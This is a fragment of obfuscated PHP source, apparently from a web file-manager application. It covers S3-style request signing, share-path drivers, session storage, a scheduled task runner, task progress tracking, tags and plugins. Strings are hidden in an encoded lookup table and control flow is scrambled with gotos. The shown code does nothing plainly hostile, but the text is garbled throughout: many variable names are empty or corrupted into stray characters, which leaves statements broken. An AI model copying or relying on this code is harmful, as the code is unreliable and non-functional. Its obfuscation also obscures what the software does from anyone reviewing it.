$އ[12]), array($އ[269], $އ[271], $އ[12]), array($އ[269], $އ[309], $އ[12]), array($އ[272] => $թ), array($އ[273] => $ǫ), array($އ[274] => $퉱), array($އ[275] => $ʢ), array($އ[276] => $))); $ = base64_encode(json_encode($)); $ݤˏ = hash_hmac($އ[277], $猫, $އ[278] . $this->secret, !0); $ = hash_hmac($އ[277], $this->region, $ݤˏ, !0); $ϼ = hash_hmac($އ[277], $Լ, $, !0); $ܘ˕ = hash_hmac($އ[277], $˘Ͻ, $ϼ, !0); $ = hash_hmac($އ[277], $, $ܘ˕); $籌 = array($އ[248] => $އ[12], $އ[296] => $އ[12], $އ[308] => $, $އ[272] => $թ, $އ[279] => $, $އ[310] => $ǫ, $އ[311] => $퉱, $އ[312] => $ʢ, $އ[313] => $, $އ[314] => $, $އ[208] => $this->getHost()); return $籌; } } goto D҂; eډ: class PathDriverDriverShareItem { public function __construct($γ) { $this->pathParse = $γ; } public function __call($, $Ҭ飻) { $ij =& $_SERVER[ձК]; if (method_exists($this, $)) { return; } $ɪ = call_user_func_array(array($ij[1432], $), $Ҭ飻); $ = array($ij[1433], $ij[1434], $ij[1435], $ij[1436], $ij[623], $ij[625], $ij[1437], $ij[110], $ij[1438], $ij[1439]); if (in_array($, $)) { $ɪ = $this->getPathOuter($ɪ); } return $ɪ; } public function copy($ǹҟ, $ʹ, $ = false, $ԩ = false) { return $this->copyMove($ǹҟ, $ʹ, $, $_SERVER[ձК][623], $ԩ); } public function move($㘜, $؇, $ڎʄ = false, $䜨 = false) { return $this->copyMove($㘜, $؇, $ڎʄ, $_SERVER[ձК][625], $䜨); } private function copyMove($, $ݠ, $, $Ǒ, $ԏ = false) { $إ =& $_SERVER[ձК]; $ڷ = $ݠ; $̧ = IO::driverMake($ݠ); if ($̧->pathParse[$إ[1234]]) { $ݠ = $̧->pathParse[$إ[1234]]; } else { $ݠ = $ڷ; } $ɀ۬ = IO::copyMove($, $ݠ, $, $Ǒ, $ԏ); $ɀ۬ = $this->getPathOuter($ɀ۬); return $ɀ۬; } public function pathThis($ç) { return get_path_this($this->pathParse[$_SERVER[ձК][87]]); } public function pathFather($) { return get_path_father($this->pathParse[$_SERVER[ձК][87]]); } public function iconvSystem($ᕗ) { return $ᕗ; } protected function infoParse($, $܍ = false) { $ =& $_SERVER[ձК]; $ = $this->pathParse[$[562]][$[1259]] . $this->pathParse[$[1252]]; if ($܍) { $썆 = IO::infoWithChildren($); } else { $썆 = IO::info($); } $֕ = $this->pathParse[$[562]]; return Action($[1430])->_shareItemeParse($썆, $֕); } public function listAll($) { $ =& $_SERVER[ձК]; $ؕ = IO::listAll($); $ˀϻ = rtrim($this->pathParse[$[562]][$[1259]], $[8]); foreach ($ؕ as &$裔) { $裔[$[87]] = $this->pathDriver . $[8] . ltrim(substr($裔[$[87]], strlen($ˀϻ)), $[8]); } unset($裔); return $ؕ; } public function listAllSimple($֟ȯ, $Ǘ = false) { $э =& $_SERVER[ձК]; $ = $this->listAll($֟ȯ); $Ҋ = $this->pathParse[$э[497]]; if (trim($Ҋ, $э[8]) == trim(get_path_father($Ҋ), $э[8])) { $Ǘ = !0; } return IO::init($э[12])->listAllSimpleMake($, $Ҋ, $Ǘ); } public function getPathOuter($) { $Һ =& $_SERVER[ձК]; $أ = KodIO::parse($); if ($أ[$Һ[33]] == KodIO::KOD_SHARE_ITEM) { return $أ[$Һ[87]]; } $բ = KodIO::clear($); $՚ = KodIO::clear($this->pathParse[$Һ[562]][$Һ[1259]]); $܌ = substr($բ, strlen($՚)); if (substr($բ, 0, strlen($՚)) != $՚) { return !1; } return $this->pathParse[$Һ[1253]] . $Һ[8] . ltrim($܌, $Һ[8]); } public function getType() { $㗑䝇 =& $_SERVER[ձК]; $ = str_replace($㗑䝇[77], $㗑䝇[12], get_class($this)); return strtolower($); } public function isOsDriver($ʠ) { return IO::isOsDriver($ʠ); } public function info($έ) { return $this->infoParse($έ); } public function infoAuth($Ő) { return $this->infoParse($Ő); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($̼) { return $this->infoParse($̼); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($Ý, $մ = false) { $ü =& $_SERVER[ձК]; return Action($ü[1258])->sharePathInfo($this->pathParse[$ü[87]], !0, $մ); } public function listPath($̩, $ = false) { $哫ɓ =& $_SERVER[ձК]; $谸 = IO::listPath($̩, $); if (!$谸) { return $谸; } if (is_array($谸[$哫ɓ[1431]])) { $ = Action($哫ɓ[1440])->parsePathChildren($谸[$哫ɓ[1431]], array($哫ɓ[497] => $̩)); $谸[$哫ɓ[1431]] = Action($哫ɓ[1258])->shareItemInfo($); } foreach ($谸 as $Ղ => $Ѯ܁) { if (!in_array($Ղ, array($哫ɓ[86], $哫ɓ[85]))) { continue; } foreach ($Ѯ܁ as $ => $) { $ = Action($哫ɓ[1440])->parsePathChildren($, array($哫ɓ[497] => $̩)); $谸[$Ղ][$] = Action($哫ɓ[1258])->shareItemInfo($); } } return $谸; } } class PathDriverEDS extends PathDriverBaseS3 { public function __construct($µ) { parent::__construct($µ); $this->setSignVersion($_SERVER[ձК][249]); } } goto c쮙媈; a崚: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $䯍 =& $_SERVER[ձК]; static $ؗ = false; if ($ؗ) { return $ؗ; } $ = $GLOBALS[$䯍[6]][$䯍[426]]; self::$sessionTime = $[$䯍[1722]]; $㬘 = isset($GLOBALS[$䯍[1723]]) ? $GLOBALS[$䯍[1723]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($㬘)) { self::$sessionSign = Cookie::get($㬘); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($㬘, self::$sessionSign, self::$sessionTime); $܃ = $[$䯍[1724]]; $柱 = $[$܃]; $殜 = $[$䯍[902]]; switch ($܃) { case $䯍[21]: self::$handle = Model($䯍[903]); break; case $䯍[904]: self::$handle = new CacheRedis($柱, $殜); break; case $䯍[905]: self::$handle = new CacheMemcached($柱, $殜); break; case $䯍[232]: $柱[$䯍[87]] = $柱[$䯍[87]] . $䯍[1725]; self::$handle = new CacheFile($柱, $殜); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ؗ = new self(); return $ؗ; } public static function getBySign($Ի) { $ = self::$handle->get($Ի); $ = unserialize($); return is_array($) ? $ : array(); } public static function setBySign($Ʃ, $ͮ) { CacheLock::lock($Ʃ); self::$handle->set($Ʃ, serialize($ͮ), self::$sessionTime); CacheLock::unlock($Ʃ); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($, $Ƙ = false) { self::init(); if (is_array($)) { foreach ($ as $˾ => $ߌ) { array_set_value(self::$data, $˾, $ߌ); } } else { array_set_value(self::$data, $, $Ƙ); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ߠ = false) { self::init(); if (!$ߠ) { return self::$data; } return array_get_value(self::$data, $ߠ); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[ձК][908])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $覻 =& $_SERVER[ձК]; if (self::valueGet($覻[824]) != $覻[91]) { return; } if (self::valueGet($覻[1726]) == $覻[91]) { $߶ = self::valueGet($覻[1727]); if (time() - $߶ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($覻[1726], $覻[91]); self::log($覻[1728] . ACTION . $覻[1729]); Hook::bind($覻[1730], $覻[1731]); $䬩 = 0; while (!0) { self::cacheClear(); if (self::valueGet($覻[824]) != $覻[91]) { self::valueSet($覻[1726], $覻[230]); self::log($覻[1732]); die; } $ = time(); if ($ - $䬩 >= 60) { self::valueSet(array($覻[1726] => $覻[91], $覻[1727] => $)); $䬩 = $; } if (!file_exists(USER_SYSTEM . $覻[1733])) { self::valueSet(array($覻[1726] => $覻[230], $覻[824] => $覻[230])); self::log($覻[1734]); die; } $Є = file_get_contents(BASIC_PATH . $覻[1735]); $挷 = KOD_VERSION . $覻[10] . KOD_VERSION_BUILD; $Dž = match_text($Є, $覻[1736]) . $覻[10] . match_text($Є, $覻[1737]); if ($Dž != $挷) { self::restart(); self::log("\x73\x74\157\x70\x65\144\x2e\133\x76\145\162\163\151\157\156\40\165\160\144\141\164\x65\73{$versionNow}\40\75\76\x20{$version}\135"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ =& $_SERVER[ձК]; http_close(); $GLOBALS[$[1738]] = 1; $_SERVER[$[1739]] = $[1740]; $_COOKIE = array(); $GLOBALS[$[1741]] = 1; $GLOBALS[$[1742]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ҝ =& $_SERVER[ձК]; http_close(); self::valueSet($ҝ[824], $ҝ[230]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($ҝ[1726] => $ҝ[230], $ҝ[824] => $ҝ[91])); self::log($ҝ[1743]); } public static function taskSwitch() { $ƿ =& $_SERVER[ձК]; $ƙ = self::valueGet($ƿ[824]) == $ƿ[91] ? $ƿ[230] : $ƿ[91]; self::valueSet($ƿ[824], $ƙ); } public static function shutdownEvent() { $ӥɕҁ =& $_SERVER[ձК]; self::valueSet($ӥɕҁ[1726], $ӥɕҁ[230]); self::log($ӥɕҁ[1744]); } public static function config($谭, $) { self::valueSet($_SERVER[ձК][824], $谭); } private static function taskRunAll() { $ =& $_SERVER[ձК]; $ = timeFloat(); $݂ = Model($[1745])->listData(); $ʚ = count($݂); for ($ = 0; $ < $ʚ; $++) { $ܐ = $݂[$]; if (!$ܐ[$[477]] || $ܐ[$[1746]] != $[91]) { continue; } if (!self::taskTimeCheck($ܐ)) { continue; } self::taskRun($ܐ); } Hook::trigger($[1747]); self::taskQueueRun($); } private static function taskQueueRun($쬖Թ) { $۫ѿ = 10; while (!0) { $؏ = TaskQueue::run(); if ($؏ === !1) { break; } if (timeFloat() - $쬖Թ >= $۫ѿ) { break; } } } private static function taskTimeCheck($㸇) { $ϴԲ =& $_SERVER[ձК]; $ӫ = json_decode($㸇[$ϴԲ[206]], !0); $ = intval($㸇[$ϴԲ[1727]]); $䠟 = strtotime($ϴԲ[1748] . $ӫ[$ϴԲ[1749]] . $ϴԲ[1750]) - strtotime($ϴԲ[1751]); $ = time() - strtotime(date($ϴԲ[1752]) . $ϴԲ[1753]); $ = $ >= $䠟 && $ <= $䠟 + 3600; switch ($ӫ[$ϴԲ[33]]) { case $ϴԲ[1754]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($ӫ[$ϴԲ[1754]] == date($ϴԲ[1755]) && $) { return !0; } break; case $ϴԲ[1756]: if (time() - $ < 3600 * 24 * 7) { return !1; } $Ґ = date($ϴԲ[1757]) == 0 ? 7 : date($ϴԲ[1757]); if ($ӫ[$ϴԲ[1756]] == $Ґ && $) { return !0; } break; case $ϴԲ[1749]: if (time() - $ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $ϴԲ[1758]: if (time() - $ >= floatval($ӫ[$ϴԲ[1758]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $Ҭ =& $_SERVER[ձК]; static $ = 0; $촐 = 300; if (!$) { $ = time(); } if (time() - $ < $촐) { return; } $ = time(); $ૻ = Model($Ҭ[579])->db($Ҭ[12]); if ($ૻ) { $ૻ->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($Ҭ[1759], $Ҭ[1760]); die; } } public static function taskRun($) { $ײ =& $_SERVER[ձК]; self::log($ײ[1761] . $[$ײ[477]] . $ײ[1762] . $[$ײ[32]] . $ײ[1763] . $[$ײ[1764]]); Model($ײ[1745])->run($[$ײ[477]]); $ = timeFloat(); $ί = $ײ[12]; switch ($[$ײ[33]]) { case $ײ[384]: $ = url_request($[$ײ[1764]], $ײ[1498], !1, !1, !1, !1, 10); if ($[$ײ[824]]) { $ί = strlen($[$ײ[1289]]); } break; case $ײ[1765]: $ί = Hook::apply($[$ײ[1764]]); default: break; } Model($ײ[1766])->add(array($ײ[1767] => $ײ[12], $ײ[1768] => $ײ[230], $ײ[33] => $ײ[1769] . $[$ײ[477]], $ײ[1770] => json_encode(array($ײ[32] => $[$ײ[32]], $ײ[1771] => timeFloat() - $, $ײ[370] => $ί)))); $ = $ί ? $ײ[1772] . $ί : $ײ[12]; self::log($ײ[1773] . $[$ײ[477]] . $ײ[178] . $); return !0; } public static function valueGet($Ͱ) { $ =& $_SERVER[ձК]; $ԗ = $[1774]; $Ԃ = Model($[510])->get($Ͱ, $ԗ); if (is_null($Ԃ)) { Model($[510])->set($[824], $[91], $ԗ); Model($[510])->set($[1726], $[230], $ԗ); $Ԃ = Model($[510])->get($Ͱ, $ԗ); } return $Ԃ; } private static function valueSet($, $ = false) { $ҏ =& $_SERVER[ձК]; $ƢȜ = $ҏ[1775]; CacheLock::lock($ƢȜ); $Ɔ = Model($ҏ[510])->set($, $, $ҏ[1774]); CacheLock::unlock($ƢȜ); return $Ɔ; } protected static function log($) { write_log($, $_SERVER[ձК][1760]); } private static function cacheClear() { $ =& $_SERVER[ձК]; Cache::clearMemory(Model($[510])->cacheKey($[1774])); Cache::clearMemory(Model($[510])->cacheKey($[1776])); Model($[1745])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\164\x6f\x70"; const STATYS_RUNNING = "\x72\x75\x6e\x6e\151\156\x67"; const STATYS_KILL = "\153\x69\154\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($ݱ̸, $ų = '', $Ė = 0, $ = '') { $מ =& $_SERVER[ձК]; if (self::get($ݱ̸)) { return; } $this->task = array($מ[477] => $ݱ̸, $מ[1777] => USER_ID, $מ[1665] => $, $מ[528] => $מ[12], $מ[33] => $ų, $מ[1144] => $מ[12], $מ[1142] => $Ė, $מ[1778] => 0, $מ[1779] => 0, $מ[1780] => 0, $מ[1781] => timeFloat(), $מ[1782] => 0, $מ[1783] => 0, $מ[1784] => 0, $מ[1785] => 0, $מ[824] => $מ[1726]); $GLOBALS[$מ[1786]] = 1; Hook::bind($מ[1730], array($this, $מ[1787])); Hook::bind($מ[1788], array($this, $מ[1789])); $this->startAfter(); Hook::trigger($מ[1790], $this->task); $this->task[$מ[1783]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[ձК]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1783]]) { self::valueSet($this->task[$[477]], !1); } $this->isEnd = !0; if ($) { $this->task[$[528]] = $; } self::log($[1791] . $this->task[$[477]] . $[1792] . sprintf($[926], timeFloat() - $this->task[$[1781]]) . $[1793]); Hook::unbind($[1730], array($this, $[1787])); Hook::unbind($[1788], array($this, $[1789])); $this->endAfter(); $ɹŪ = $this->task; $this->task = !1; Hook::trigger($[1794], $ɹŪ); } public function update($ص = 0, $욁 = false) { $ۛ =& $_SERVER[ձК]; $ץ =& $this->task; if (!$ץÂ) { return; } $ץÂ[$ۛ[1778]] += $ص; $ץÂ[$ۛ[1782]] = timeFloat(); if ($ץÂ[$ۛ[1142]]) { if ($ץÂ[$ۛ[1142]] < $ץÂ[$ۛ[1778]]) { $ץÂ[$ۛ[1142]] = $ץÂ[$ۛ[1778]]; } $Ʊ = timeFloat() - $ץÂ[$ۛ[1781]] - $ץÂ[$ۛ[1784]]; if ($Ʊ <= 0) { $Ʊ = 0.001; } $ץÂ[$ۛ[1779]] = $ץÂ[$ۛ[1778]] / $ץÂ[$ۛ[1142]]; $ץÂ[$ۛ[1780]] = $ץÂ[$ۛ[1778]] / $Ʊ; if ($ץÂ[$ۛ[1779]] > 0) { $ץÂ[$ۛ[1785]] = $Ʊ * (1 - $ץÂ[$ۛ[1779]]) / $ץÂ[$ۛ[1779]]; } $ץÂ[$ۛ[1785]] = $ץÂ[$ۛ[1785]] <= 0 ? 0 : $ץÂ[$ۛ[1785]]; } $this->updateAfter(); $߿ = 0.2; if (timeFloat() - $ץÂ[$ۛ[1783]] < $߿ && !$욁) { return; } $ = self::get($ץÂ[$ۛ[477]]); $ = $[$ۛ[824]]; if ($ == self::STATYS_KILL) { $ = array($ۛ[1795] => LNG($ۛ[1796]), $ۛ[1299] => !1); Cache::set($ۛ[1797] . $this->task[$ۛ[477]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ = 2; $[$ۛ[1784]] += $; self::valueSet($ץÂ[$ۛ[477]], $); sleep($); $this->update(); return; } } $ץÂ[$ۛ[824]] = $ ? $ : $ץÂ[$ۛ[824]]; $ץÂ[$ۛ[1784]] = $[$ۛ[1784]] ? $[$ۛ[1784]] : 0; $ץÂ[$ۛ[1783]] = timeFloat(); Hook::trigger($ۛ[1798], $ץÂ); self::valueSet($ץÂ[$ۛ[477]], $ץÂ); } public function onKillSet($ԝ㶷, $҅ = array()) { $this->onKillCall = array($ԝ㶷, $҅); } public function onKill() { $تϷ =& $_SERVER[ձК]; self::log($تϷ[1791] . $this->task[$تϷ[477]] . $تϷ[1799]); Hook::trigger($تϷ[1800], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($Ǝ) { $ =& $_SERVER[ձК]; Cache::set($[1797] . $this->task[$[477]], $Ǝ, 60); if (!is_array($Ǝ) || !$Ǝ[$[1299]]) { self::log($[1801] . json_encode($Ǝ)); } return $Ǝ; } public static function get($֬) { $ñٯ =& $_SERVER[ձК]; $ܸɹ = self::valueGet($֬); if (is_array($ܸɹ) && $ܸɹ[$ñٯ[1802]]) { $ = ActionApply($ܸɹ[$ñٯ[1802]], array($ܸɹ)); $ܸɹ = is_array($) ? $ : $ܸɹ; } return $ܸɹ; } public static function listData() { $ƭ = self::valueGet(); return array_sort_by($ƭ, $_SERVER[ձК][1781], !0); } public static function kill($͛) { return self::changeStatus($͛, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $Ɉ =& $_SERVER[ձК]; $ҋޠ = self::listData(); foreach ($ҋޠ as $¤) { self::kill($¤[$Ɉ[477]]); } sleep(2); foreach ($ҋޠ as $¤) { self::valueSet($¤[$Ɉ[477]], !1); } } private static function changeStatus($, $Ċ) { $ݬ =& $_SERVER[ձК]; $ = self::valueGet($); if (!$) { return !1; } $[$ݬ[824]] = $Ċ; self::valueSet($, $); self::log($ݬ[1803] . $[$ݬ[477]] . $ݬ[1804] . $Ċ); return !0; } public static function valueGet($Ņ = false) { $ՊӅ =& $_SERVER[ձК]; if ($Ņ) { $ = Model($ՊӅ[522])->where(array($ՊӅ[97] => $Ņ, $ՊӅ[33] => $ՊӅ[1151]))->find(); return $ ? json_decode($[$ՊӅ[452]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ɜ =& $_SERVER[ձК]; $Ӷ = array($ɜ[33] => $ɜ[1151]); if ($) { $Ӷ[$ɜ[1777]] = $; } $ = Model($ɜ[522])->where($Ӷ)->select(); $ = $ ? $ : array(); foreach ($ as $ => $喂) { $[$] = json_decode($喂[$ɜ[452]], !0); } return $; } public static function valueSet($Ϛ, $) { $ =& $_SERVER[ձК]; if (!$) { return Model($[522])->where(array($[97] => $Ϛ, $[33] => $[1151]))->delete(); } $͏ = json_encode($); if (!$͏) { ob_start(); var_dump($); $ԩΒ = ob_get_clean(); self::log($[1805] . json_encode_force($ԩΒ)); } if (!$Ϛ || !$[$[477]]) { return !1; } $ = array($[33] => $[1151], $[1777] => USER_ID, $[97] => $Ϛ, $[452] => $͏); $ّ = $[1806]; CacheLock::lock($ّ); Model($[522])->add($, array(), !0); CacheLock::unlock($ّ); } public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[ձК][1807]); } } goto d⇯; c: if (!$saqjntdmhu) { die; } $_SERVER[] = explode($_SERVER[ձК][685], gzinflate(substr($_SERVER[ձК][686], 10, -8))); $wdueljoskc = $_SERVER[ձК][687]; goto dהּ; DƎ: class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\x65\162\137\x66\141\x76"; protected function cacheFunctionAlias($) { $ݜ =& $_SERVER[ձК]; return array($ݜ[2092] => array($[0], $ݜ[2093]), $ݜ[2094] => array($[0], $ݜ[2095])); } protected function get($ߞ) { $̿ =& $_SERVER[ձК]; $ѝ = Model($̿[587])->metaGet($ߞ, $̿[2096]); $ = json_decode($ѝ, !0); return $ ? $ : array($̿[2097] => $̿[91], $̿[447] => array()); } protected function set($®攱, $) { $å =& $_SERVER[ձК]; $ = $ ? $ : array($å[2097] => $å[91], $å[447] => array()); return Model($å[587])->metaSet($®攱, $å[2096], json_encode($)); } protected function getByTagID($, $) { $˯ =& $_SERVER[ձК]; if (!$ || !$) { return !1; } if (!Model($˯[587])->getInfoSimple($)) { return !1; } $ = $this->get($); if (!$ || !isset($[$˯[447]])) { return !1; } $˺ = array_find_by_field($[$˯[447]], $˯[477], $); return is_array($˺) ? $˺ : !1; } public function listSource($, $ĥ) { $ڝ =& $_SERVER[ձК]; if ($ĥ && !is_array($ĥ)) { $ĥ = array($ĥ); } $ = $this->listData($); $ = array(); foreach ($ as $聖) { $ = $聖[$ڝ[87]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $聖[$ڝ[502]]; } $ = array(); foreach ($ as $ɛ => $) { $ = !0; if (!$ĥ) { $[] = $ɛ; continue; } foreach ($ĥ as $ѓ) { if (!in_array($ѓ, $)) { $ = !1; break; } } if ($) { $[] = $ɛ; } } if (!$) { return array(); } $ڗ = array($ڝ[493] => array($ڝ[494], $), $ڝ[571] => $, $ڝ[190] => SourceModel::TYPE_GROUP); $ȸ = Model($ڝ[1423])->listSource($ڗ); if (!$ȸ || count($) == $ȸ[$ڝ[444]][$ڝ[445]]) { return $ȸ; } $ = array(); $ = array_to_keyvalue($ȸ[$ڝ[85]], $ڝ[12], $ڝ[193]); $ = array_to_keyvalue($ȸ[$ڝ[86]], $ڝ[12], $ڝ[193]); $ = array_merge($, $); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { $this->removeBySource($, $); } return $ȸ; } protected function listData($嵭) { $ =& $_SERVER[ձК]; $х = array($[1768] => 0, $[559] => array($[2098], 0), $[498] => $[2099] . $嵭); $ = $[2100]; $ = $this->field($)->where($х)->order($[2101])->select(); return $ ? $ : array(); } protected function addToTag($, $̩ل, $頲) { $ =& $_SERVER[ձК]; if (!$this->getByTagID($, $頲) || !$̩ل) { return !1; } if (!Model($[899])->pathInfo($̩ل)) { return !1; } $ļ = array($[1768] => 0, $[559] => $頲, $[497] => $̩ل, $[498] => $[2102] . $, $[496] => $[12], $[1982] => 0); if ($this->where($ļ)->find()) { return !1; } return $this->add($ļ); } protected function removeFromTag($, $ܕ, $ϟ) { $ĝ =& $_SERVER[ձК]; if (!$this->getByTagID($, $ϟ) || !$ܕ) { return !1; } if (is_array($ܕ)) { $ܕ = array($ĝ[7], $ܕ); } $۲ = array($ĝ[1768] => 0, $ĝ[559] => $ϟ, $ĝ[498] => $ĝ[2102] . $, $ĝ[497] => $ܕ); return $this->where($۲)->delete(); } protected function removeByTag($lj, $ɥ) { $ه =& $_SERVER[ձК]; if (!$this->getByTagID($lj, $ɥ)) { return !1; } $ = array($ه[1768] => 0, $ه[559] => $ɥ, $ه[498] => $ه[2102] . $lj); return $this->where($)->delete(); } protected function removeBySource($, $ۘ) { $ =& $_SERVER[ձК]; if (!$ || !$ۘ) { return !1; } if (is_array($ۘ)) { $ۘ = array($[7], $ۘ); } $٠ = array($[1768] => 0, $[497] => $ۘ, $[559] => array($[1093], 0), $[498] => $[2102] . $); return $this->where($٠)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\x6d\56\160\154\165\x67\151\x6e\x4c\151\x73\x74"; public $field = array("\156\141\x6d\145", "\x73\x74\141\164\x75\x73", "\162\x65\147\x69\x65\163\164", "\x63\x6f\156\x66\x69\x67"); public function loadList($ǡ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[ձК][32]); if ($ǡ) { return $[$ǡ]; } return $; } public function init() { $ضȧ =& $_SERVER[ձК]; Hook::trigger($ضȧ[2103]); $ڲ = $this->loadPluginList(); foreach ($ڲ as $ѹ֢ => $؛) { $Ǹ = $this->appAllow($ѹ֢, $؛); if (!$Ǹ) { continue; } foreach ($؛[$ضȧ[2104]] as $֦ݨ => $誜) { Hook::bind($֦ݨ, $誜); } } Hook::trigger($ضȧ[2105]); Hook::trigger(ACTION); } public function appAllow($, $, $Ò = true) { $ږ =& $_SERVER[ձК]; $ȩ = PLUGIN_DIR . $ . $ږ[2106]; if (!is_array($) || !is_array($[$ږ[2104]]) || $[$ږ[824]] != 1 || !is_file($ȩ)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$ږ[6]][$ږ[2107]] || !$GLOBALS[$ږ[6]][$ږ[2108]]) { return !0; } $ܜ = explode($ږ[50], strtolower($GLOBALS[$ږ[6]][$ږ[2108]])); return in_array(strtolower($), $ܜ) ? !1 : !0; } if ($Ò && !Action($ږ[2109])->checkAuth($)) { return !1; } return !0; } public function unInstall($傳) { $عݨ =& $_SERVER[ձК]; $ = $this->loadList($傳); if (file_exists(PLUGIN_DIR . $傳)) { Hook::apply($傳 . $عݨ[2110]); } $this->remove($[$عݨ[477]]); } public function changeStatus($ϟ, $ز) { $ =& $_SERVER[ձК]; $Ʒ = $this->loadList($ϟ); if ($ز) { Hook::apply($ϟ . $[2111]); } $this->update($Ʒ[$[477]], array($[2112] => $ز)); } public function appRegist($յ, $NJ) { $Ųӭ =& $_SERVER[ձК]; $ = $this->loadList($յ); if ($) { $this->update($[$Ųӭ[477]], array($Ųӭ[2104] => $NJ)); } else { $꒶µ = array($Ųӭ[32] => $յ, $Ųӭ[2104] => $NJ, $Ųӭ[824] => 0, $Ųӭ[6] => $this->getConfigDefault($յ)); $this->insert($꒶µ); } } public function getConfigDefault($) { $ =& $_SERVER[ձК]; $钄 = array(); $܌ތ = $this->getPackageJson($); if (!$܌ތ && is_array($܌ތ[$[2113]])) { return $钄; } foreach ($܌ތ[$[2113]] as $ => $) { if (!isset($[$[452]]) || isset($钄[$])) { continue; } $钄[$] = $[$[452]]; } return $钄; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[ձК][2114]); } public function getConfig($ر, $ = false) { $ =& $_SERVER[ձК]; $ = array(); $Ϫ = $this->loadList($ر); if ($Ϫ && is_array($Ϫ[$[6]])) { $ = $Ϫ[$[6]]; } if (!$ || $) { $ = $this->getConfigDefault($ر); } return $; } public function setConfig($Ω, $ֵ = false) { $ӛ =& $_SERVER[ձК]; $ҫ = $this->loadList($Ω); if (!$ҫ) { return !1; } $ = $ҫ[$ӛ[6]]; if ($ֵ == !1) { $ = array(); $ֵ = $this->getConfigDefault($Ω); } foreach ($ֵ as $ => $Уڦ) { $[$] = is_string($Уڦ) ? trim($Уڦ) : $Уڦ; } $this->update($ҫ[$ӛ[477]], array($ӛ[6] => $)); } public function viewList() { $㶀 =& $_SERVER[ձК]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $Ν = array(); foreach ($ as $ => $) { $Հ = $; unset($[$㶀[2104]], $[$㶀[6]]); $ڑ = PLUGIN_DIR . $[$㶀[32]] . $㶀[2106]; if (!is_file($ڑ)) { continue; } $ = Hook::apply($[$㶀[32]] . $㶀[2114]); if (!is_array($)) { continue; } $Ν[$] = array_merge($, $); if ($Հ[$㶀[6]][$㶀[1690]] != $[$㶀[1664]]) { Hook::apply($[$㶀[32]] . $㶀[2111]); $Հ[$㶀[6]][$㶀[1690]] = $[$㶀[1664]]; $this->update($[$㶀[477]], array($㶀[6] => $Հ[$㶀[6]])); } } return $Ν; } private function loadPluginList() { $쭜Đ =& $_SERVER[ձК]; $ = $this->loadList(); if (strtolower(MOD) == $쭜Đ[2115]) { return $; } $ŮͰ = Hook::trigger($쭜Đ[2116], $); if ($ && !$ŮͰ) { die; } return $ŮͰ ? $ŮͰ : $; } private function pluginScan($Ѹ) { $ށ =& $_SERVER[ձК]; recursion_dir(PLUGIN_DIR, $і, $ٱ, 0); foreach ($і as $) { $ = get_path_this($); if (isset($Ѹ[$]) || !file_exists($ . $ށ[2117]) || !file_exists($ . $ށ[2106])) { continue; } Hook::apply($ . $ށ[2111]); } } } class SessionModel extends ModelBase { protected $tableName = "\163\x79\163\x74\145\155\137\x73\145\163\x73\x69\157\x6e"; public function get($ۓЎ) { $زΣ =& $_SERVER[ձК]; $à = $this->where(array($زΣ[2118] => $ۓЎ))->find(); if (!is_array($à)) { return !1; } return $à[$زΣ[171]]; } public function set($ޝ, $Ŕ, $ = 3600) { $⢟ =& $_SERVER[ձК]; $ = array($⢟[2118] => $ޝ, $⢟[2018] => $Ŕ, $⢟[2119] => $ + time()); if (Session::get($⢟[2120])) { $[$⢟[1777]] = Session::get($⢟[2120]); } else { $[$⢟[1777]] = 0; } if ($this->get($ޝ)) { return $this->where(array($⢟[2118] => $ޝ))->save($); } else { return $this->add($, array(), !0); } } public function remove($ø) { return $this->where(array($_SERVER[ձК][2118] => $ø))->delete(); } public function clearTimeout() { return 